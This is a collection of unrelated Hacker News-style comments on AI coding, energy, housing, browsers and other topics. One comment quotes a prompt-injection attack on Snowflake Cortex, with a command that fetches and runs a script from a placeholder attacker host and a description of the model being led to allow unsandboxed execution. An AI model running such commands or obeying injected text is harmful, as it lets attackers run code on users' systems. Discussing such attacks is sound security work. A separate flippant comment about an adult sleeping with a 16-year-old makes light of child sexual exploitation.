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I've been WFH for 6 years since my local office permanently closed during Covid.
It's getting lonely. :(
It was funny but when we switched from my failing Alienware laptop to a new M4 Mac Mini my wife was absolutely furious at the ad saturation until I switched her from Safari to Firefox and installed an ad blocker. I guess I could have installed one in Safari if she registered an Apple account but that's something she'd feel no need for at all.
(e.g. as maligned as it is, the Microsoft account really is one account you can use to log into your computer, your XBOX, and all sorts of things. The Apple account is the center of your digital life on iOS but on MacOS it's kinda... tacked on)
Using random values defeats the purpose of the branch predictor. The best branch predictor for this test would be one that always predicts the branch taken or not taken.
Can pf actually shape at speeds above 4 gbps?
All this is very funny if you take into account how the United States originated.
Fortunately I don't have to choose. But yes, that is the balance.
The clipboard is one of the most dangerous components of any operating system when it comes to running secure environments.
Nice idea in theory, in practice is how many folks down in Nebraska are going to show up.
Great that I keep using traditional Python tools.
Reacting to the story itself, I've been on the same thought line but came to the opposite conclusion. Precisely because the generation of the code is unreliable, one of the metrics we will be using in the future to determine the value of the code is precisely how much it has been tested against the real world. Real-world tested code will always be more valuable than what has just been instantiated by an AI, and that extends indefinitely into the future because no AI will ever be able to completely deal with integrating with all the other AI-generated code in the world on the first try. That is, as AIs get better at generating code, we will inevitably generate more code with them, and then later code must deal with that increased amount of code. So the AIs can never "catch up" with code complexity because the problem gets worse the better they get.
This story is itself the explanation of why we're not going to go this route at scale. It'll happen in isolated places for the indefinite future. But farmers are going to buy systems, generated by AIs or not, that have been field tested, and will be no more interested in calling new untested code into being for their own personal use on their own personal farm than they are today.
The limiting factor for future code won't be how much AI firepower someone has to bring to bear on a problem but how much "real world" there is to test the code against, because there is only going to be so much "real world" to go around.
(Expanded on: https://jerf.org/iri/post/2026/what_value_code_in_ai_era/ ).
Easier said than done, during this week many German regions are on general strike, thus everyone just switched back to their cars, complaining about unions, their power in infrastructure and so on.
Naturally most of those cars are combustion based, because it is still very expensive to buy a new EV, and even used ones are more expensive than new combustion cars, and there is the whole question of how damaged the battery will be anyway.
It’s just pulling forward future gains while shrinking the time horizon, if the world speeds the transition to renewables and electrification from this. Short term gain for faster irrelevance.
Oil to $200/barrel please, as long as possible, same with LNG.
Edit: Iran attack wipes out 17% of Qatar’s LNG capacity for up to five years, QatarEnergy CEO says - https://www.bnnbloomberg.ca/business/2026/03/19/iran-attack-... - March 19th, 2026
Looks like the global clean energy transition will be getting back up to speed.
Point 2 nowadays feels like high performance when compared to Electron crap.
Really beautiful photography. The play of light and contrasts are captured so well. Favourited!
>energy shock sparks global push to reduce fossil fuel dependence
That would be the stupidest takeaway
In probably another year or two I expect the metrics will show that it is a positive turn off. Unfortunately we're on the cutting edge of this particular movement and there's still a lot more "value" to be "extracted" from the general public before they all get wise to it too.
The next problem we'll face after that, with the 1-2 years newer AIs of the time, is that the default LLM voice is just a particular affectation created by the training, not "the voice of LLMs" or anything. It's trivial to kick them into a different style. I just used AI to do some architecture design documents this week, and prompted it to first look at about 1-2k words that I wrote myself all organically for the style. The good news is the resulting documents almost, but admittedly, not quite entirely, lack that LLM style. They're still prone to more bullet lists than I use directly; then again, in this context they were fairly appropriate, so I'm not too triggered by the result.
The bad news is, that's all it takes to make AI writing that isn't in that default tone. It's not that hard. Students cheating on essays have already figured it out, the spammers really can't be that far behind. Probably more stuff than we realize is already AI output, it's just the stragglers and those who don't really care (which I imagine is a lot of spammers, after all) who are still failing to tweak the style. They'll catch up as soon as engagement falls off.
Mostly not wanting to pay Sun for Java Embedded licenses.
https://venturebeat.com/ai/google-sun-wanted-money-for-andro...
The problem isn't ART per se, embedded Java vendors also have their own internal implementations, but the big difference is that they pay for their licensing and support standard Java.
For you.
Here are two screenshots of the website taken a moment ago on iPhone 15 Pro Max:
Sounds exactly like what a bot would say, especially an account created "14 hours ago" to just post 3 similarly empty comments:
> "knock-on effect of this war is that it may cost double or more than double to replace all these weapons because all the mineral demand is going to go way up
It's a lazy assumption that the motivation for war is profit, but in this case ...
This might be peak Streisand effect.
When I first read this headline I thought I'd wandered into the Warner Bros. office where writers go to pitch their scripts!
My MP3 "mix tape" doesn't play ads.
Indeed, the author of the article even misses on xBase and BASIC, two other famous languages without semicolons.
I want to do something like this for work, except instead of Civ it's discussing a topic, and instead of Civ it's email. Unfortunately, everyone seems addicted to Slack, as it minimises the time it takes for everyone to misunderstand each other.
Eventually it will be only prompts and zero programing as we know it, with a quarter of team sizes, the chosen ones.
Another 30-40% just didn't get caught because the reviewers also used LLM in their "reviews"
You shouldn't pick up fights with them, even if they run out of ammo, they'll just use the stick up their ass as a backup weapon.
I'll show myself out of the Citadel.
Agreed, greed knows no boundaries.
Hacker News was born out of the VC ecosystem, but was never about startups, they were like 10% of the content, or less
Not entirely.
For some problems, it is. Web front-end development, for example. If you specify what everything has to look like and what it does, that's close to code.
But there are classes of problems where the thing is easy to specify, but hard to do correctly, or fast, or reliably. Much low-level software is like that. Databases, file systems, even operating system kernels. Networking up to the transport layer. Garbage collection. Eventually-consistent systems. Parallel computation getting the same answer as serial computation. Those problems yield, with difficulty, to machine checked formalism.
In those areas, systems where AI components struggle to get code that will pass machine-checked proofs have potential.
I think this is where you’ll define the company culture. Maybe in the first 10, but certainly in the first 100. If you want to design the corporate culture, this is where it starts.
Kind of, that is why non-functional requirements exist, because not everything is code.
Most of the economically valuable software written is pretty unique, or at least is one of few competitors in a new and growing niche. This is because software that is not particularly unique is by definition a commodity, with few differentiators. Commodity software gets its margins competed away, because if you try to price high, everybody just uses a competitor.
So goes the AI paradox: it's really effective at writing lots and lots of software that is low value and probably never needed to get written anyway. But at least right now (this is changing rapidly), executives are very willing to hire lots of coders to write software that is low value and probably doesn't need to be written, and VCs are willing to fund lots of startups to automate the writing of lots of software that is low value and probably doesn't need to be written.
Failed to read my second sentence.
Now, from the people who brought you Pocket.
Could they please stop integrating services into Firefox? Thank you.
I don’t understand your sentence. What’s the subject of the verb “housing.”
WeWork had 12,500 employees at its peak.
That's when you connect the VPN...
As a Firefox user: if I want a VPN I'll use an actual VPN. Focus on making a great browser, and not all this distraction.
Also, "free": "If you're not paying for it, you're the product being sold"
You think if there were modern highrises in Menlo Park a tiny 2BR shack next door would still sell for $2M? It’s a supply and demand issue, nothing more.
Rule 5 doesn't seem to get a lot of attention but I've refactored many complicated nested branchy functions into a table over the years, and it almost always improves speed, size, and ease of future modification.
Why the .ai domain? Are you using AI in your data pipeline somehow?
There isn't affordable housing in areas of opportunity. You can easily find cheap housing if you don't care about proximity to jobs or to good school districts.
Show them https://old.reddit.com/r/aifails/
TLDR China moved ~30% of its aluminium production from its coal-rich North to renewables-rich areas to decarbonize.
> A lot of regular homeowners fight new developments
Which is self interested. The paradox is renters being turned against their own interests by large landlords pitching anti-gentrification.
Would it be fine for a poor, weak 40 year old to sleep with a rich 16 year old? Asking for a friend.
A lot of times on HN when a math topic comes up that isn't about 3b1b, someone will jump in to say "this isn't as good as 3b1b". Last time I saw that, I was moved to comment:
https://news.ycombinator.com/item?id=45800657
3b1b doesn't have the same goal as Quanta, or as introductory guides. It's actually not that great a teaching tool (it's truly great at what it is for, which is (a) appreciation and motivation, and (b) allowing people to signal how smart they are on message board threads by talking about how much people would get out of watching 3b1b).
This is prose writing about math. It's something you're meant to read for enjoyment. If you don't enjoy it, fine; I don't enjoy cowboy fiction. So I don't read it. I don't so much look for opportunities to yell at how much I hate "The Ballad of Easy Breezy".
Because it's a) fast b) good and c) modern agents are surprisingly effective at extracting the stated attributes out of it despite the relatively scarce amount of training data. There isn't a conspiracy.
Yup. The Facebook brand was long dead, and Meta is a good tech name even outside of AR/VR or metaverse. The fact that no one calls the company Facebook anymore shows that the rebrand was successful.
> This subreddit is mainly for sharing Spotify playlists. We're not a support community, and we encourage users to use official support channels for most issues.
Literally the first line of the sub description.
Climate protestors should take note what moves the needle.
I don’t know that that's true. Iterating on the spec and development together as in traditional agile development seems to work well with AI. The pace is different (an iteration might be hours instead of weeks) and the human role is mostly as a combined architect/analyst/lead dev/product owner, but the issue that real requirements are rarely clear before software hits the hands of users doesn't go away just because an AI wiped more of the code.
There's also the superman problem - the burner phone would only ever appear when anonymars is missing, and vice versa, creating a real and exploitable pattern if anyone like the FBI wanted to root around in your life. All they'd have to do is query which shadow profiles match the temporal gaps correlated with your disappearance from tracking.
This is nonsense. By your logic, people go 'missing' any time they are not using a computer, whether they're reading a book, in the shower, or asleep in bed.
Because it's so useful to me that I'm willing to accept the risk of it having access to the thing it needs for the benefit it provides. I'm not willing to accept the risk of it having access to things it doesn't need for no benefit.
Then again, I was wary of OpenClaw's unfettered access and made my own alternative (https://github.com/skorokithakis/stavrobot) with a focus on "all the access it needs, and no more".
Software development keeps going through YOLO->Engineering cycles, and the non-technical business folks are ALWAYS overindexing on the swing, in each direction, while the real pros are trying to navigate the new to find how to best leverage the power of new tooling without abandoning correctness while dealing with the expectations of people with power that far outstrips their comprehension of the domain.
"That’s opportunity cost. And it’s real."
> We paid for newspapers and they ran ads. We paid for cable TV and it had ads. We went to the cinema and watched ads
To be fair, ad-free options for each of these later emerged. I pay up for them.
Interesting they found ChatGPT more useful than Grok.
“What follows is not ingratitude. It's accounting.”
I think somebody like Nate Silver might say “everything is gambling” if you really pressed them.
A big theme of software development for me has been finishing things other people couldn’t finish and the key to that is “control variance and the mean will take care of itself”
Alternately the junior dev thinks he has a mean of 5 min but the variance is really 5 weeks. The senior dev has mean of 5 hours and a variance of 5 hours.
"Creates a direct connection between your wallet and our bank account!"
Note the absence of invoices, bills of lading, and receipts, all the things you need when a vendor doesn't deliver. All it does is send money, one-way. So it's useless in a B2B context.
What does “algorithmic feed” really mean?
A lot of people think chronological feed + boosting is “non-algorithmic” but I think that kind of feed privileges stuff that makes people get angry and boost. The same people would say the “explore” feed on Mastodon which shows the most boosted and liked content is wholesome too. I guess if you think being angry all the time is your moral responsibility you would. The rest of us wouldn’t.
To me a good algorithm would be: if OCR reveals text in an image make it disappear (usually the people are angry) if a video looks like an instagram reel with meaningless motion that causes motion sickness make it disappear. I don’t think everyone would agree!
> I much prefer interesting discussions under Ask HN than yet another status question with a chorus of me-toos.
There are 30 possible submissions on the front page at any given time. The existence of one you'd prefer not the read does not cannibalize them.
You can see there are plenty of Ask HNs in the dedicated tab: https://news.ycombinator.com/ask
That’s interesting. If you join 8 trits do you get a trite?
As someone that bought all paper editions of Linux Journal, PS2 Linux owner, got introduced to UNIX via Xenix, it is a matter of convenience.
People can't buy Linux laptops at Media Market, there are no Linux stores with genies,...
Assigning work to an intern is gambling: they're inherently non-deterministic and it's a roll of the dice whether the work they do will be good enough or you'll have to give them feedback in order to get to what you need.
This terrible idea is a parody of a good idea from game design - LOD cross-fade. When a distant object changes from a low level of detail representation to a higher one, or vice versa, the change is best done as a cross fade. The old one fades out to transparent, the new one fades in from transparent.
This is done to hide the change, not as a creative effect. The human visual system is very sensitive to fast changes. But below half a second, smooth changes are not too noticeable. With this trick, plus a slight amount of distance haze, you can get away with quite low detail distant models. That's part of how GTA V does those long vistas efficiently.
Here's a long drive around the GTA V world.[1] Watch how background objects change. Many distant background objects start out with very low detail. Watch power line towers, for example, which are very low detail until about 100m range. The cross-fade to a better model takes about a half second. Active players don't notice.
The gambling metaphor often applied to vibecoding implies that the outcome cannot be fully controlled or influenced, such as a slot machine. Opus 4.5 and beyond show that it not only can be very much can be influenced, but also it can give better results more consistently with the proper checks and balances.
> States that allow gas turbines anywhere near their residents homes does not give a shit about them, probably it’s a perfect circle venn diagram with states that reject expanded Medicare funding.
That’s a weird thing to say given the story is about Virginia.
I tried Starlink on a United flight the other day (short hop from Hilton Head to DC) and it was amazing.
One key component of this attack is that Snowflake was allowing "cat" commands to run without human approval, but failing to spot patterns like this one:
cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))
> Cortex, by default, can set a flag to trigger unsandboxed command execution. The prompt injection manipulates the model to set the flag, allowing the malicious command to execute unsandboxed.
HOW did the prompt injection manipulate the model in that way?
I have so many slide decks from the 2010s when I was working on ideas that were way ahead of their time.
One of my realization was that intelligent systems had to be organized entirely around workflows, that is, you'd have steps that could be easily automated, others that had to be manual (e.g. either for legal reasons or because some physical thing has to happen) and others that could go either way. There had to be a process that makes it straightforward to route a task either way, have a person override something, and to the maximum extent, patch the system to make that override permanent. If you didn't have all these things you could have an AI as capable as we have today and... zero business value in the end.
That feeling you are being ignored actually causes strong reactions in people that people aren't all that aware of or feel like it is safe to talk about -- that is, we live in family, political and business systems that ignore us all the time and we've learned to ignore that feeling of being ignored.
I don't know exactly how to invoke that feeling in you but you could find it in yourself. I might imagine myself being erased with a big rubber eraser and feel a sinking feeling in my gut as it all goes dark or the feeling of bracing myself as my foot slips and I go over the edge backwards over a 300 foot cliff.
Practically rather than feeling these feelings (that go back to your feeling ignored by your mother when you were an infant) people often have their brain short circuit facing situations like this so you get the avoidance, the "not being engaged", etc. The short answer is "at any cost don't put people in this situation", if you must I don't have an answer, but I do know if you push people hard on this kind of thing you will be looking for new people to replace them and find the role is very high turnover.
Can you expand this to any job (not just tech)? For example, resume goes in, out comes jobs sorted as best fit based on the experience enumerated?
> a strict 16 MB artifact limit (weights + training code combined)
...how large are they expecting the training code to be?
> for publicity
Or don’t want to maintain two different security architectures.
Is it even possible to connect to HW without a Meta/Oculus headset?
Seeing what China next door has done with solar and batteries, I wonder if they'll do an electric end-run around oil, similarly to some places in Africa.
This; I mean, they even renamed the company.
e.g. understanding the code probably takes 30-200% of the effort of writing it!
It does seem to do something though about the situation where, occasionally, an AI just goes and vandalizes 3000 lines of code across your whole code base.
Why?
You're not seeing the actual details either way.
The blurred version feels honest -- it's not showing you anything more than what has been encoded.
The sharp image feels confusing -- it's showing you a ton of detail that is totally wrong. "Detail" that wasn't in the original, but is just artifacts.
Why would you prefer distracting artifacts over a blurred version?
If agriculture won't change its practices, the solution is to pump the aquifers dry as quickly as possible agriculture is most exposed to, and then to acquire the land at a steep discount (based on the impaired future ag productivity) for conservation in a land trust.
The "bottleneck" model of performance has limitations.
There are a lot of systems where useless work and other inefficiencies are spread all over the place. Even though I think garbage collection is underrated (e.g. Rustifarians will agree with me in 15 years) it's a good example because of the nonlocality that profilers miss or misunderstand.
You can make great prop bets around "I'll rewrite your Array-of-Structures code to Structure-of-Arrays code and it will get much faster"
https://en.wikipedia.org/wiki/AoS_and_SoA
because SoA usually is much more cache friendly and AoS makes the memory hierarchy perform poorly in a way profilers can't see. The more time somebody spends looking at profilers and more they quote Rule 1 the more they get blindsided by it.
I think you're thinking marginal costs. Only charging for marginal costs will put you out of business almost immediately. There are plenty of non-marginal costs that need to be covered, which will make it "not close to $0".
If you think I'm talking nonsense, make sure you know what the term actually means: https://www.investopedia.com/terms/m/marginalcostofproductio... There's a common misuse (unless it has become so common that it's just another definition, if you're a descriptivist grammarian) to use it to mean "small, negligible", but I'm using it in the real business/accounting sense. Of all the industries, tech is among the worst in terms of being unable to charge based on marginal costs; so often our marginal costs are effectively $0 but the fixed costs of what we have are millions to billions of dollars.
Yeah yeah. This app is open source too.
Is the full exploit chain functional on iPhone 17 MIE/EMTE silicon with Lockdown Mode enabled?
United Downs Deep Geothermal Power
https://en.wikipedia.org/wiki/United_Downs_Deep_Geothermal_P...
I almost linked to the linked paper but was afraid people would miss out on the application.
Bacteria aren't entirely singled-celled organisms, in real life they extend their cell walls to form larger biofilms and using quorum sensing to manage their population. The point of the paper was that you could hack that quorum sensing to make them really go to town inside a tumor.
This is a large component of the alt-right, isn't it.
> much less complicated than say something like trying to juggle a dentistry practice while driving the 2 kids to school events and then going home to patch drywall on the house
There is genuinely a group of people who'd rather fantasize about mass murder than do chores. Every now and again one of them actually picks up a gun. Then some school kids never have to go to events, or anywhere, ever again.
I have some sympathy for people who can't adapt to peace. When I was a kid one of my neighbours was https://en.wikipedia.org/wiki/Mike_Calvert ; I knew him as an old man who drank too much and never talked about the war. This is not an excuse to restart the war.
Login form. Nothing to see here. Move on folks.
Better yet, make this patch your etc/hosts
127.0.0.1 x.com
None of those will prevent Neo to scaling to record sales
It's complicated.
The obvious path is the Grok path. That is, anybody with a big pile of money can read some papers and hire some people and make a model which is at or near the frontier. Beating current models by a hair at current benchmarks is not as hard as it looks because you will be building the system to beat those benchmarks from the beginning. [1]
Six months or a year later people will start to realize that you're not really improving or making progress though because that's something entirely different.
Now real advances in the long term are going to come out of smaller companies working on things like
https://en.wikipedia.org/wiki/Mamba_(deep_learning_architect... [2]
Like the frontier models are just too expensive to do the experimental work which will lead to advances in the science, the science is going to advance through work on little models whereas companies like OpenAI and Anthropic are very committed to maximize the performance of their existing systems in the short term and it is the intense competition that will keep them in an "Innovator's Dilemma" situation where their customers are going to reject anything really new which doesn't perform the same. [3]
[1] ... and even if you don't cheat the model will cheat for you
[2] ... not necessarily that one in particular, but something like that
[3] companies like Microsoft that "disrupt themselves" ignoring their customers are afraid of an Innovator's Dilemma situation but are paradoxically not stuck in it because they are monopolies who can force their customers to do something they don't like.